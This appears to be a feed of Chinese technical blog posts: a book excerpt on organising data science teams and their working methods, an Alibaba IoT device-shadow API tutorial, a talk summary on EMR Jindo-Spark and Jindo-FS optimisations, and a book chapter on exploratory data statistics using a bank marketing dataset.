        数据科学家团队的组织结构关系到数据应用的效率、管理的效率、个人的发展等诸多方面,企业在设置这个组织结构时需要认真考虑。每个企业的实际情况不同,可以采用不同的方法。数据科学家的组织结构一般分两种,即分散式结构和集中式结构。分散式结构是数据科学家属于确定的业务部门,这样的组织结构的好处是其可以紧密地与业务人员合作,将业务问题转换为高效的数据分析任务。但是其也有不足,一方面数据分析的知识积累是在个人身上,而不是在团队,另外一方面就是因为角色的限制使得业务部门内的数据科学家没有上升空间。业务部门内的数据科学家若要在职业道路上继续前进,要么离开,要么担任其他角色。一旦发生数据科学家的人事变化,这对团队稳定、知识积累等都是不利的。
        集中式的数据科学家组织结构就是跨业务条线而成立独立的专门做数据分析的结构。这样的组织结构的好处就是团队相对稳定,给成员提供了不断成长的空间,也避免了知识积累的流失。但是其也有不足,由于数据科学家脱离业务部门而独立存在,导致团队成员对业务的理解不够深入,模型的产出可能效率低下。业务部门也可能只将其看作支持部门,而不会在实际业务中有太多引入。
        企业在构架数据科学家组织架构时,也可采用混合的结构。即使是集中式的组织结构,其汇报的层级也可能不同。没有所谓明确的业界标准的说法,因地制宜的做法才是最实际的。

        1.4数据科学家的工作方法要点

        数据科学家的核心任务之一是通过数据分析手段将数据洞察应用在实际业务中,并能产生有效的结果。数据科学家在实际工作中需要注意以下要点,以确保上述目标的达成。
        1. 开始工作以前确保具备成功要件
        在开始一件工作前,最好先明确一下业务场景、数据可获得性、数据质量等重要信息。在很多情况下,会出现因数据不支持无法进行细致分析、模型结果很好但是落地应用时没有对应的资源支持、数据分析只是探索没有对应的使用场景等问题。这些因素会严重影响数据分析的价值。
        笔者作为顾问给多个客户实施数据分析项目时,就遇到过上述的问题。从客户的角度来讲,其关心的是业务问题的解决,并不会过多细致地考虑实施过程的细节。只有努力地尝试去做,才能发现有些问题会严重阻碍数据分析的进行,这也会影响数据分析的最终效果。
        2. 同时输出两种价值
        假设要通过数据分析手段改善某业务问题,如构建预测模型筛选高价值、高响应率的客户,即使是在目标非常明确的情况下,数据科学家也要在做的过程中保证两种输出结果。
        (1)重要发现
        数据分析过程中势必要进行数据提取、数据处理、数据探查等一系列基础工作。在这些基础工作的过程中,往往会隐藏着有巨大业务价值的信息。比如,笔者的团队在给某金融机构构建高端客户的相关模型时发现一些信息,如“大部分客户只持有一类理财产品且在半年内没有交易活动”,这些信息对于后期的营销策略制定至关重要。所以,数据科学家在实际工作中需保持“业务敏感性”,对于数据背后的业务故事保持好奇心,同时将一些重要的数据发现协同模型结果一并输出,这可以大大提高分析主题的价值。
        (2)模型结果
        给定分析主题,目标模型结果就可以基本确定,如寻找高价值客户就是模型输出一个名单,风险预警就是给出风险评分以及原因。这是模型输出的最基本形式。
        在实际的模型实施应用中,业务人员会经常以挑剔的眼光来看待模型,并且基于模型结果总是有不同的疑惑需要数据科学家来解答。典型的疑惑如“聚类分析模型确实将客户分了几个类别,但是我还是不知道该如何营销这些客户”“社交网络分析模型给出了潜在的高价值客户名单,但这些信息不足以让营销人员开展营销”。出现这种情况时,一种简单的做法就是和业务人员深入讨论,梳理出他们的关注点,然后将对应的指标从数据库中提取出来,作为模型输入的补充一并交给业务人员。
        从本质上来讲,出现业务人员疑惑的原因是“业务人员期待模型输出决策而不是名单”以及团队缺乏将模型输出转换为营销决策的能力。数据科学家也需要具备将模型结果转换为业务决策的能力。模型直接输出决策的内容将在第5章详细讨论。
        3.充满想象力地开展工作
        算法能做到什么是数学范畴的知识,数据科学家的核心工作就是将业务需求转换为一系列的数据分析实践过程。若将各个算法看作一个个组件,那么用一个算法来解决问题还是用多个算法的组合来解决问题,需要数据科学家的想象力和不断尝试。
        笔者的团队曾给某客户构建模型时,其需求是“根据客户持有产品的现状推荐产品,达到交叉销售的目的”。这是一个非常不具体的需求,能做的范围很大,能用的算法工具也很多。最后我们采用的是构建“客户聚类与产品聚类的交叉分布以及迁移矩阵,并据此来展开不同目的营销”,若向上销售则可推荐同类产品,交叉销售则可推荐不同类的产品。这种做法之前没有实施过,但是结果证明其非常有效,仅在一次营销应用中就带来数十亿的营业额。
        4. 按照敏捷的方式来构建模型
        数据挖掘过程也可以看作一个项目过程,从项目管理的角度当然可以按照敏捷的方式来进行。数据科学家需要积极主动地汇报分析思路、预期结果、进度等重要信息。时刻与业务人员以及管理人员保持沟通,对需求变化保持开放,将对模型的实际应用会有巨大的帮助。一般情况下,让一个对数据和业务都不了解的人来构建模型,往往需要数月的时间;但让一个熟悉数据、业务、算法工具的人来建模,则可能只需几天就可以完成。不论哪种程度的人员来建模,都可以按照敏捷的方式来管理建模过程。
        笔者与建模方法论CRISP-DM的提出者之一Julian Clinton一起工作过4年时间,在长期的项目实践中我们一直坚持该方法论所倡导的核心要点:紧贴业务、不断探索、以结果为导向、模型在应用后仍需不断调优等。事实证明,这些原则非常有效。CRISP-DM方法论的实施与实施过程中按照敏捷的方式来管理是相辅相成、相得益彰的。
        5. 以业务的成果来衡量自己的工作
        模型的效果到底如何?数据科学家不应该基于测试集上优异的模型性能指标而洋洋自得,这没有任何意义,顶多代表建模的技巧高超。模型最终带来的收益是由模型输出、匹配模型输出的业务决策、业务决策实施过程中的资源配置、应用场景的价值大小等综合因素共同决定的。缺少任何一环都会使得模型的价值直线下降。
        数据科学家需要积极主动地推进这些环节的相关工作,积极收集模型部署后的监测数据,在“建模—业务决策匹配—业务决策实施—效果监控—模型或决策改进—再部署—再监测”的闭环中积极发挥作用。最终得出的业务结果数据,才是数据科学家真正成就感的源泉。

        ]]>
        有一种糖叫语法糖【10】IOT实践之如影随形 Fri, 02 May 2025 09:39:04 +0800 地球上的万物和生灵,受到太阳的普照和恩泽,遵循着生长化收藏的自然规律而繁衍生息。在阳光的照耀下,也根据自身独特的轮廓,在大地
        上留下了黑暗的区域,人类称之为影子;阿里IOT的设备影子功能主要用于两个方面,设备在线时,作为设备状态信息的缓存;设备离线时,作为设备再次上线时,离线前状态的保存;

        关于SHADOW在云端的api一共有两个,主要是查询和更新设备影子常用的两个操作;

        本次用来实验和验证的软件链接如下:
        http://xysuger.xunyun17.xyz/v0.0.10.rar
        读者如果感兴趣的话,可以自行下载运行验证;

        第一个操作是GetDeviceShadow,这个接口提供了用户可以通过云端,获得当前设备的影子信息。这个命令带有两个参数,分别为产品关键字和设备的名称;发送的详细格式如下:
        XYsayFrO.IoT.Srv.GetDeviceShadow.a141rgUXgFl.lamp3_dev.

        发送完后,返回结果如下:

        这里如果发送成功后,会返回设备的影子信息,详细信息是通过json格式返回的,所以我们可以在里面看到很多大括号;这里的可以看到的是期望的数据和实际发送的数据,以color属性为例,这里实际上报的值为蓝色blue,期望的值为绿色green。版本号在最后显示为3。如果设备第一次使用,是没有设备影子的,这里的值也就为空;

        第二个接口为更新设备影子,这个接口可以通过云端向指定产品下的设备发送更新影子的具体消息,发送的命令为UpdateDeviceShadow,这个命令带有三个参数第一个为产品的标识符,第二个发送的设备名称,这前两个参数和上面介绍的接口一样,第三个参数为json格式的影子信息,所以稍微有些复杂,json格式的主要要求就是用大括号把每种类别的信息括起来,然后每一类单独的信息通过分号把类型和值分开,对于设备影子的信息,一般要求有这么四种信息需要上传,第一种信息为上传的方法method,这里是update表示更新;第二种信息为期待的状态desired,这里我们将color属性的期待状态改为蓝色blue,第三种信息为实际上报的状态,这里我们将color属性的实际上报状态改为red红色,第四种为更新的版本号,要求大于当前的版本号,我们通过上面的接口得知,当前的版本号为3,这里配置为4;最后组合起来的完整命令如下:

        XYsayFrO.IoT.Srv.UpdateDeviceShadow.a141rgUXgFl.lamp3_dev.{"method":"update","state":{"desired":{"color":"blue"},"reported":{"color":"red"}},"version":4}.
        运行后,返回success:true,表示运行成功;接着我们重复运行第一条命令,校验以下我们修改的信息是否生效;

        发送完后,返回结果如下:

        这里如果发送成功后,会在success字段返回true;
        通过察看ShadowMessage的json数据包,可以看到版本已经被改成4了,期望和实际的color值,也和以前的不一样了,而是和我们修改后的一致;

        由于阿里iot关于设备影子的接口只有2个,所以关于设备影子在云端接口基本操作的解释就介绍到这里;
        随着这篇文章的结束,这个系列的文章也完结了。特此写个顺口溜作为这个系列的结尾:
        阿里物联奥妙多,
        诸多功能来加持,
        产品管理定格局,
        设备操作分细节,
        分组定义划功能,
        主题来把特性显,
        规则引擎逻辑强,
        消息通信最及时,
        设备影子促稳定,
        七类接口全学会,
        物联世界任我游。

        快到年底了,工作也忙起来了,提前预祝各位读者,元旦快乐,新年快乐;明年开春再见;)

        ]]>
        EMR 打造高效云原生数据分析引擎 Fri, 02 May 2025 09:39:04 +0800 本场视频链接:EMR打造高效云原生数据分析引擎

        本场ppt材料:https://www.slidestalk.com/AliSpark/2019___0926_110365


        基于开源体系打造云上数据分析平台

        客户选择开源方案的原因主要有以下几点:

        灵活多样的业务场景:目前即便是一个小企业,其数据存储也可能是多种多样的,比如业务数据、日志数据和图数据等,这种情况下,需要有一个高度定制化的系统来串联不同的业务场景;
        自己有专业的运维能力:开源系统有充足的人才储备,丰富的网上资料与开源的强大后盾,可以确保公司业务的顺利开展;
        多种业务需求vs成本压力:每种云上产品有自己的使用场景,对于中小企业来说购买多种云产品将会造成很大的成本压力,而通过开源体系维护一套系统,在集成用户业务中所需组件的同时,可以降低用户的成本。
        image.png

        下图是阿里巴巴EMR系统的产品架构图。用户上云的方式主要有两种,一种是购买ECS资源自己搭建一套开源系统;另一种是直接选择阿里巴巴的EMR系统。第一种方式由于开源系统组件多,涉及到了Spark、Hive、Flink和TensorFlow等,从零搭建一套完整的大数据系统对于用户来讲非常复杂,尤其是成百上千的集群规模也给运维造成了很大的挑战。而使用EMR系统具有以下优点:
        1) 阿里云EMR系统可以帮助用户一键化自动部署、配置相关组件,开箱即用,同时还会根据用户的机器类型进行参数的自动推荐调优。
        2) 阿里云EMR系统与阿里云其他产品实现了打通,比如数据存放在OSS,EMR系统无需额外再做认证配置,便可以很方便地读取OSS上的数据;
        3) 阿里云EMR系统集成了很多自研插件,这些插件在其他产品中是没有的;
        4) 阿里云EMR系统的所有组件兼容开源但优于开源,如Flink集成了阿里云自研的Blink和TensorFlow(PAI),这也是阿里云为社区做的一点贡献,目的是为了让用户能用到阿里云内部的技术;
        5) 阿里云EMR系统提供了全平台的作业诊断与告警组件APM来实现自动化运维,大大降低集群运维的复杂性;
        6) 阿里云EMR系统还与DataWorks对接,用户可以以DataWorks为入口,傻瓜式地使用EMR系统。

        image.png

        EMR系统的目标主要有以下三个:

        平台化:将EMR做成一个统一的云上数据分析平台,帮助用户打造全栈式的大数据解决方案,支持全系列VM容器化,提供企业级HAS和大数据APM;
        技术社区&深度:持续深耕技术社区,打造大数据友好的云 Native 存储,同时将技术回馈给社区,为社区做贡献;
        生态:EMR系统将结合阿里云其他产品构建一个生态,接入Blink、PAI,集成OSS、OTS方案。

        image.png

        EMR-Jindo:云原生高效数据分析引擎

        下图展示了TPC-DS的基准测试报告,可以发现在2019年3月份10TB的测试中,性能指标得分是182万左右,成本是0.31 USD;而2019年十月份同样的测试性能指标得分已经变成526万,成本下降到0.53 CNY,也就是说经过半年左右性能提升了2.9倍,成本缩减到原来的四分之一。同时阿里巴巴还成为了首个提交TPC-DS测试100TB测试报告的厂商。这些成绩的背后是EMR-Jindo引擎的支持。

        image.png

        EMR-Jindo引擎架构主要分为两部分:

        Jindo-Spark:EMR内部全面优化的Spark高效计算引擎,可以处理多种计算任务;
        Jindo-FS:自研的云原生存储引擎,兼容开源HDFS的接口,兼顾性能与价格。

        image.png

        1) Jindo-Spark

        Jindo-Spark高效计算引擎对Spark采取了一系列优化措施,比如Runtime Filter支持自适应的运行时数据裁剪;Enhanced Join Reorder来解决外连接重排等问题;TopK支持推理并下推 TopK 逻辑,帮助尽早地过滤数据;File Index支持文件级别过滤和min/max/bloom/倒排等;自研开发了Relational Cache,实现使用一套引擎就可以将查询从分钟级提升为亚秒级;针对特定的场景推出Spark Transaction功能,为Spark引入Full ACID支持;实现了Smart Shuffle功能,从底层来减少sort-merge 次数,提升Shuffle的效率。

        image.png

        Runtime Filter
        类似于Spark中的Dynamic Partition Pruning(DPP),但是其比DPP功能更强大。除了DPP能处理的分析表之外,Runtime Filter还可以处理非分析表。其基本原理是运行时动态裁剪数据,避免不必要的计算。比如,面对一个join查询,无法通过value下推到存储层而将数据过滤,逻辑推算的时候无法预知最后的数据量级。这种情况下如果是分析表,Runtime Filter首先会估计其中一个表中参与join操作的数据量,如果数据量较小,则提前进行数据筛选,再推送到另一侧做数据过滤;而对于非分析表,会引入Filter,如BloomFilter获得Min或Max的统计信息,

        image.png

        根据这些统计信息,将备选数据比较少的一侧提取出来,推到另一侧进行过滤。Runtime Filter的成本很小,只需要在优化器中进行简单评估,却可以带来显著的性能提升。如下图所示,Runtime Filter实现了35%左右的整体性能提升。该特性已经在Spark提交了PR(SPARK-27227)。
        Enhanced Join Recorder
        大家都知道,算子执行顺序可能会极大地影响sql的执行效率,这种情况下优化的核心原则是改变算子的执行顺序,尽早地过滤数据。

        比如下图左上角的例子中,如果最底层两个表非常大的话,则这两张表join的开销会非常大,join后的大数据再去join小表,大数据一层一层地传递下去,就会影响整个流程的执行效率。此时,优化的思想是先将大表中一些无关的数据过滤掉,减少往下游传递的数据量。针对该问题,Spark使用的是动态规划算法,但其只适用于表的数量比较少的情况,如果表的数量大于12,该算法就束手无策。面对表的数量比较多的情况,EMR提供了多表join的遗传算法,其可以将原来的动态规划算法的2n的复杂度降到线性的量级,能完成成百上千张表的join。

        下图右上角可以看到,Query64有18个表参与join,动态规划算法优化时间就需要耗费1400秒,而多表join的遗传算法仅需要20秒左右就可完成。Join Recorder另外一个重要的功能是外连接重排算法,大家都知道sql中外连接不能随意交换顺序的,但这并不代表不能交换顺序,比如A left join B, 然后再left join C,事实上在某种条件下其顺序是可交换的。在Spark中,外连接的优化是直接被放弃掉,而EMR则根据现有研究找到了顺序可交换的充分必要条件,实现了外连接重排算法(如下图左下角所示),对外连接的执行效率有了质的提升(下图右下角)
        image.png

        Relational Cache
        Spark原本的Cache存在几个局限点,其一Spark的Cache是session级别,如果发现某一个Query的片段使用比较频繁,就会对为这个session创建一个cache,但是session结束后,cache就会消失;其二Spark的Cache是存储在本机上,而不是分布式存储,因此无法做到通用。在此基础上,EMR平台实现了Relational Cache,对任意Spark表,视图或者Dataset等关系型数据抽象的数据实体都创建cache, 类似于物化视图(Materialized View),但是比物化视图功能要丰富。Relational Cache的使用场景包括a)亚秒级响应MOLAP引擎;b)交互式BI,Dashboard;c)数据同步;d)数据预组织。

        image.png

        Relational Cache的创建过程如下,其语法与Spark sql常见的DDL类似。首先CACHE一个表或视图,然后指定Relational Cache的更新策略(DEMAND或COMMIT)、是否用于后续优化、Cache数据的存储方式以及Cache的视图逻辑。Relational Cache支持cache任意Table、View,支持cache到内存、HDFS、OSS等任意数据源,JSON、ORC、Parquet等任意数据格式。

        image.png

        Relational Cache还支持对用户输入的sql的优化。原来的Spark sql Cache对于用户输入的sql优化非常僵硬死板,用户输入的sql必须精确匹配上Cache才能使用。而Relational Cache则完全不同,如果有a、b、c、d四个表join的cache,当又有a、b、e三个表join的情况下,a、b join的结果便可以从四个表join时生成的Cache数据中读取。下图中右侧展示了Cache和没有Cache的基准测试结果,可以看出Relational Cache可以保证测试的响应时间在亚秒级。
        请参考 Spark Relational Cache实现亚秒级响应的交互式分析

        image.png

        Spark Transaction:有些用户可能会使用Hive表,Hive表有事务支持,然而Spark在事务这一项上是不兼容Hive的。因此,为了满足用户数据订正/删除以及数据流导入的场景支持,EMR平台提供了Spark Transaction支持事务的ACID支持。

        传统的数据导入是分批的,比如一天一导入,而流数据导入场景下数据是实时写入的原始数据,并未经过任何处理,因此会有delete和update的需求。Spark Transaction整体来讲是一种锁+MVCC的实现形式,MVCC与底层的存储密不可分。大数据在Hive和Spark兼容的情况下,都是文件的形式存在目录中,文件的版本通过行来控制,写入的每一行都会加上Meta Columns,如op、original_write-id、bucket id和row_id等,来标识这是全表唯一的一行。当需要更新某一行的时候,并不会原地更新该行,而是将该行取出来,重写后产生新的版本进行存储。读取的时候,多版本会进行合并后返回给用户。

        image.png

        ###2) Jindo-FS
        EMR早期推出了一种本地盘机型,使用这种机型来部署集群类似于用本地集群在云下部署大数据发行版,价格较高;此外由于当时HDFS有元数据瓶颈,本地存储的动态化伸缩面临很大的挑战。针对这方面的问题,解决的方案是计算与存储分离,将数据存储在OSS上,但是这种分离带来的直接结果就是性能变差,因为OSS元数据操作耗时,读取数据跨网络,传输带宽也会严重影响性能。

        image.png

        进而的解决方案是将数据从远端拉取到计算侧进行缓存,这也是Jindo-FS做的事情。Jindo-FS是类似于HDFS的系统,其架构也类似于HDFS的Master-Slave架构,分成Name Service 和Storage Service。它支持将某些访问频率比较高的表可以放到RocksDB中进行多级缓存。Jindo-FS整体不同于HDFS的Master结点, Jindo-FS的“Master”(Name Service)是一个分布式集群,使用raft 协议,提供入口服务;提供多Name Space支持;元数据以kv形式存放于高性能kv store 中;因为其本身不存储数据,真实数据在OSS和OTS中,因此支持数据的弹性扩展和销毁重建。

        image.png

        Jindo-FS底层的元数据管理会将数据拆成一系列的kv,通过递增的id来逐层查询。如/home/Hadoop/file1.txt需要读三次OTS。下图右侧的测试结果说明Jindo-FS在元数据操作方面相对于OSS有较好的性能提升。

        image.png

        Jindo-FS使用Storage Service来进行底层存储,在写流程中Storage Service将要写的文件同时存储到本地和OSS中,然后再返回给用户写的结果,同时还会在集群结点内进行多副本传输;而读操作和HDFS类似,如果命中本地,则在本地存储中读取,否则要进行远程读取。Storage Service具备高性能、高可靠、高可用、弹性存储等特性,为了支持高性能,Jindo-FS建立了数据流高速通道,同时还有一系列的策略,如减少内存拷贝次数等。

        image.png

        Jindo-FS中Name Service如何实现高可靠、如何进行热点数据发现与缓存替换、块存储模式与缓存模式;以及Storage Service如何应对读写失败、数据块如何设计并存储、如何实现高速数据通道等问题,请参见大数据生态专场《云上大数据的高效能数据库的存储方案》的分享。

        image.png

        相关文章:
        JindoFS概述:云原生的大数据计算存储分离方案

        JindoFS解析 - 云上大数据高性能数据湖存储方案


        阿里巴巴开源大数据技术团队成立Apache Spark中国技术社区,定期推送精彩案例,技术专家直播,问答区数个Spark技术同学每日在线答疑,只为营造纯粹的Spark氛围,欢迎钉钉扫码加入!二维码.JPG

        ]]>
        带你读《增强型分析:AI驱动的数据分析、 业务决策与案例实践》之二:大数据探索及预处理 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第三章
        第2章

        大数据探索及预处理

        现在几乎人人都在谈论大数据和人工智能,然而应用大数据和人工智能技术的基本前提是数据。不论数据的拥有方还是数据分析解决方案及工具的提供方,其终极目标都是“通过数据分析,从数据中找出洞见并应用于实际场景中带来价值”。
        数据探索、数据预处理等工作是进行数据分析的首要工作。不论是采用大数据的工具还是采用相对较小的数据集上的数据挖掘的工具,模型的构建都需要经过对数据不断地探索、选择和加工合适的字段、采用合适的算法并训练模型等过程。
        数据探索的目的是了解数据的状态,数据预处理则是为了将数据加工为更有价值的形态。数据分析者应当具有很好的意识,能够感知数据的价值,具备数据加工能力。

        2.1大数据探索

        大多数情况下,数据分析的过程必须包括数据探索的过程。数据探索可以有两个层面的理解:一是仅利用一些工具,对数据的特征进行查看;二是根据数据特征,感知数据价值,以决定是否需要对别的字段进行探索,或者决定如何加工这些字段以发挥数据分析的价值。字段的选取既需要技术手段的支撑,也需要数据分析者的经验和对解决问题的深入理解。

        2.1.1数值类型

        在进行数据分析时,往往需要明确每个字段的数据类型。数据类型代表了数据的业务含义,分为3个类型:
        (1)区间型数据(Interval)
        数值型数据的取值都是数值类型,其大小代表了对象的状态。比如,年收入的取值,其大小代表了其收入状态。
        (2)分类型数据(Categorical)
        分类型数据的每一个取值都代表了一个类别,如性别,两个取值代表了两个群体。
        (3)序数型数据(Ordinal)
        和分类型数据非常相似,每个取值代表了不同的类别。但是,序数型的数据还有另外一层含义就是每个取值是有大小之分的。比如,如果将年收入划分为3个档次:高、中、低,则不同的取值既有类别之分,也有大小之分。
        如果不了解字段的实际业务含义,数据分析人员可能会出现数据类型判断失误。比如字段的取值为“1”“2”“3”等,并不意味着是一个数值类型,它的业务含义还可以是一个分类型的字段,“1”“2”“3”分别代表了一个类别,其大小没有任何含义。所以,充分了解字段的含义是很重要的。
        很多的数据分析工具会根据数据中的字段的实际取值,做出类型的自动判断:如字符型的数据,一般都认定为分类型数据;如某个字段的所有取值只有“1”“2”“3”,则判断其为分类型变量,然后经过用户的再次判断,其很可能是序数型变量。
        不同的数据类型,在算法进行模型训练时,处理和对待的方式是不同的。区间型数据是直接进行计算的;分类型数据是先将其转换为稀疏矩阵:每一个类别是一个新的字段,然后根据其取值“1”“0”进行计算。
        在很多场景下,人们习惯将分类型数据和序数型数据统称为分类型数据,即数据类型可以是两个:数值型数据(区间型数据)和分类型数据(分类型数据和序数型数据)。

        2.1.2连续型数据的探索

        连续型数据的探索,其关注点主要是通过统计指标来反映其分布和特点。典型的统计指标有以下几个:
        (1)缺失值
        取值为空的值即为缺失值。缺失值比例是确定该字段是否可用的重要指标。一般情况下,如果缺失率超过50%,则该字段就完全不可用。
        在很多情况下,我们需要区别对待null和0的关系。Null为缺失值,0是有效值。这个区别很重要,要小心区别对待。例如,某客户在银行内的某账户余额为null,意味着该客户可能没有该账户。但是如果将null改为0,则是说用户有该账户,且账户余额为零。
        (2)均值(Mean)
        顾名思义,均值即平均值。其大小反映了整体的水平。一个数学平均成绩是95分的班级,肯定比平均成绩是80分的班级的数学能力要好。
        (3)最大值和最小值
        最大值和最小值即每个数据集中的最大数和最小数。
        (4)方差
        方差反映各个取值距平均值的离散程度。虽然有时两组数据的平均值大小可能是相同的,但是各个观察量的离散程度却很少能相同。方差取值越大,说明离散程度越大。比如,平均成绩是80分的班级,其方差很小,说明这个班级的数学能力比较平均:没有多少过高的成绩,也没有多少过低的成绩。
        (5)标准差
        标准差是方差的开方,其含义与方差类似。
        (6)中位数(Median)
        中位数是将排序后的数据集分为两个数据集,这两个数据集分别是取值高的数据集和取值低的数据集。比如,数据集{3,4,5,7,8}的中位数是5,在5之下和5之上分别是取值低和取值高的数据集。数据集{2,4,5,7}的中位数应当是(4 + 5)/2=4.5。
        (7)众数(Mode)
        众数是数据集中出现频率最高的数据。众数最常用的场景是分类型数据的统计,但是其也反映了数值型数据的“明显集中趋势点的数值”。
        均值、中位数、众数的计算方式各有不同,如表2-1所示。

        表2-1 均值、中位数、众数的例子


        image.png
        (8)四分位数(Quartile)
        四分位数,即用三个序号将已经排序过的数据等分为四份,如表2-2所示。

        表2-2 四分位的例子


        image.png
        第二四分位数(Q2)的取值和中位数的取值是相同的。
        (9)四分位距(Interquartile Range,IQR)
        四分位距通过第三四分位数和第一四分位数的差值来计算,即IQR=Q3-Q1。针对上表,其IQR=61-34=27。四分位距是进行离群值判别的一个重要统计指标。一般情况下,极端值都在Q1-1.5×IQR之下,或者Q3 + 1.5×IQR之上。著名的箱形图就是借助四分位数和四分位距的概念来画的,如图2-1所示。
        image.png

        图2-1 箱形图及IQR

        箱形图中的上下两条横线,有可能是离群值分界点(Q3 + 1.5×IQR或Q1-1.5×IQR),也有可能是最大值或最小值。这完全取决于最大值和最小值是否在分界点之内。
        (10)偏斜度(Skewness)
        偏斜度是关于表现数据分布的对称性的指标。如果其值是0,则代表一个对称性的分布;若其值是正值,代表分布的峰值偏左;若其值是负值,代表分布的峰值偏右。在图2-2中给出了偏斜度的示例。
        image.png

        图2-2 Skewness的含义

        Skewness的绝对值(不论是正值还是负值)如果大于1是个很明显的信号,你的数据分布有明显的不对称性。很多数据分析的算法都是基于数据的分布是类似于正态分布的钟型分布,并且数据都是在均值的周围分布。如果Skewness的绝对值过大,则是另一个信号:你要小心地使用那些算法!
        不同的偏斜度下,均值、中位数、众数的取值是有很大不同的:
        由图2-3可见,在数据取值范围相同的情况下,中位数是相同的。但是均值和众数却有很大的不同。所以,除了偏斜度指标可以直接反映分布特征外,还可以用表2-3中的方法来判断。
        image.png

        图2-3 众数、均值及中位数在不同分布下的比较

        表2-3 通过中位数和均值的差异来判断分布的偏斜情况

        image.png
        (11)峰态(Kurtosis)
        标准正态分布的峰态的值是3,但是在很多数据分析工具中对峰态值减去3,使得:0代表是正态分布;正值代表数据分布有个尖尖的峰值,高于正态分布的峰值;负值代表数据有个平缓的峰值,且低于正态分布的峰值。
        峰态指标的主要作用是体现数值分布的尾巴厚度,尖峰对应着厚尾,即Kurtosis大于0时,意味着有一个厚尾巴。尖峰厚尾也就是说,在峰值附近取值较集中,但在非峰值附近取值较分散。图2-4所示为一个峰态的例子。
        在连续型数据的探索中,需要重点关注的指标首先是缺失率,然后是均值、中位数等指标,这些指标能帮助数据分析者对数据的特征有很好的了解。偏斜度是另外一个非常重要的指标,但其绝对值接近1或大于1时,必须对其进行log转换才能使用,否则该指标的价值将大打折扣。
        image.png

        图2-4 峰态的例子

        Python Pandas中DataFrame的describe方法默认只统计连续性字段的最大值、最小值、均值、标准差、四分位数,如果想获取其他的特征值,需要调用相应的函数来获得。下面是一段示例代码,其运行结果通过表2-4来展示。
        image.png

        表2-4 连续型变量数据探索示例代码的运行结果


        image.png

        2.1.3分类型数据的探索

        分类型数据的探索主要是从分类的分布等方面进行考察。常见的统计指标有以下几个:
        (1)缺失值
        缺失值永远是需要关心的指标,不论是连续型数据,还是分类型数据。过多的缺失值,会使得指标失去意义。
        (2)类别个数
        依据分类型数据中类别的个数,可以对指标是否可用有一个大致的判断。例如,从业务角度来看,某指标应当有6个类别,但实际样本中只出现了5个类别,则需要重新考虑样本的质量。再如,某个分类型变量只有一个类别时,对数据分析是完全不可用的。
        (3)类别中个体数量
        在大多数情况下,如果某些类别中个体数量太少,如只有1%的比例,可以认为该类别是个离群值。关于分类型变量离群值的研究比较多,但是如果脱离业务来谈分类型变量的离群值,是不妥当的。不平衡数据就是一个典型的与业务有关的例子。比如,从业务角度来看,购买黄金的客户只占银行全量客户的很小的一个部分,如果采取简单随机抽样的方式,“是否购买”列的值将只有极少的“是”的取值。但是,不能将“是”直接判断为离群值,反而“是”有极其重要的业务含义。所以,数据分析者需要灵活地认识和对待类别中个体数量的问题。
        (4)众数
        和连续型数据的含义一样,众数是数据集中出现频率最高的数据。比如,针对某个分类型取值A、B、C、D中C的出现次数最多,则C就是众数。
        以下是一段分类型变量数据探索示例代码,其运行结果通过表2-5来展示。
        image.png

        表2-5 分类型变量数据探索示例代码的运行结果

        image.png
        应用Python Pandas的相关函数能够非常容易得到分类型变量的探索结果,表2-5所示就是数据探索示例代码的运行结果。

        2.1.4示例:数据探索

        我们采用加州大学欧文学院创建的Machine Learning Repository 网站上的一个数据集,Bank Marketing Data Set 。Machine Learning Repository是一个非常著名的网站,里面的数据集最早被分享于1987年。很多著名的计算机类的论文都引用这个网站上的数据。Bank Marketing Data Set来自葡萄牙某银行的市场营销数据,表2-6展示了部分字段的类型及取值范围。

        表2-6 Bank Marketing Data Set的字段说明


        image.png
        该案例所描述的场景是葡萄牙某银行机构的电话营销活动,通过调查客户的基本信息来预测客户是否会认购定期存款,所调查的客户信息包括年龄、工作类型、婚姻状况、教育、是否有个人贷款等。在本节中,我们使用bank-full数据集完成一个数据探索示例,包括单个变量的分布情况、双变量之间的关系,这些探索可以为缺失值处理、异常值和离群值处理、特征变换做一个很好的铺垫。
        通过可视化工具可以展现单变量的分布特征。对于连续型变量age、balance、duration,通过折线图和箱形图展现数据的情况。对于分类型变量job、marital、education、y,通过柱状图展现数据的情况。
        image.png
        image.png
        上述代码是绘制age、balance、duration变量的折线图,并将其在一个图中集中展现。通过观察折线图可以初步掌握数据的缺失情况、异常情况和离群值情况等。比如balance变量存在一些极大值情况,但大多数值都落在小区间范围内。图2-5所示是三个变量age、balance、duration的折线图结果。
        image.png

        图2-5 折线图的示例

        箱形图从分位数的角度来展现变量的分布特征,人们往往会根据箱形图做出离群值的过滤条件等数据清洗规则。
        image.png
        image.png
        从图2-6中可以看出,age变量取值范围比较大,离群点较少;balance变量和duration变量的取值范围比较小,都分布在小值范围内,离群点分布范围比较广。
        image.png

        图2-6 箱形图的示例

        分类型变量一般首先通过柱状图来展现分布特征。下面的代码是分别绘制数据集中变量job、marital、education、y的柱状图。为了展现更为详尽的柱状图的绘制原理,我们采用“统计各分类值取值个数,然后再绘制柱状图”的方法。
        image.png
        image.png
        从图2-7的4个柱状图中可以看出每个变量的取值分布,比如job变量类别比较多,其中一个类别取值比较少;education变量中unknown的值个数比较少;y变量的数据分布不均衡。数据集出现预测变量类不均衡的情况,在构建分类型预测模型时一般需要将数据处理为均衡数据集才可使用。读者可以参考5.5.2节中的介绍以了解处理的方法和过程。
        双变量的关系探查往往能发现非常有价值的数据洞见。双变量探查包括连续型-连续型、连续型-分类型、分类型-分类型这些关系,连续型-连续型使用散点图来探查它们的线性关系,分类型-分类型使用堆叠柱状图或卡方检验,连续型-分类型使用ANOVA方差进行分析。本案例通过连续型-连续型进行举例说明,选择使用age变量和balance变量。
        image.png
        image.png
        上述代码通过散点图和两个直方图(如图2-8所示)可以从变量分布以及变量间的关系的角度发现有价值的结论。例如,对于age的不同取值,balance的取值都集中在20000的范围内,20000之外的取值比较少;财富在20000以上的人群年龄基本在40岁以上;60岁是一个明显的财富分割点,即60岁以上仍然拥有20000以上财富的人数陡降。
        image.png

        图2-7 柱状图示例

        图2-8只是从分布的角度来看是否能发现有意义的业务洞察。若单纯计算两个变量间的相关性并进行展示,则可以参考下面的例子。
        image.png
        image.png

        图2-8 双变量关系探索的示例(X轴是age变量,Y轴是balance变量)

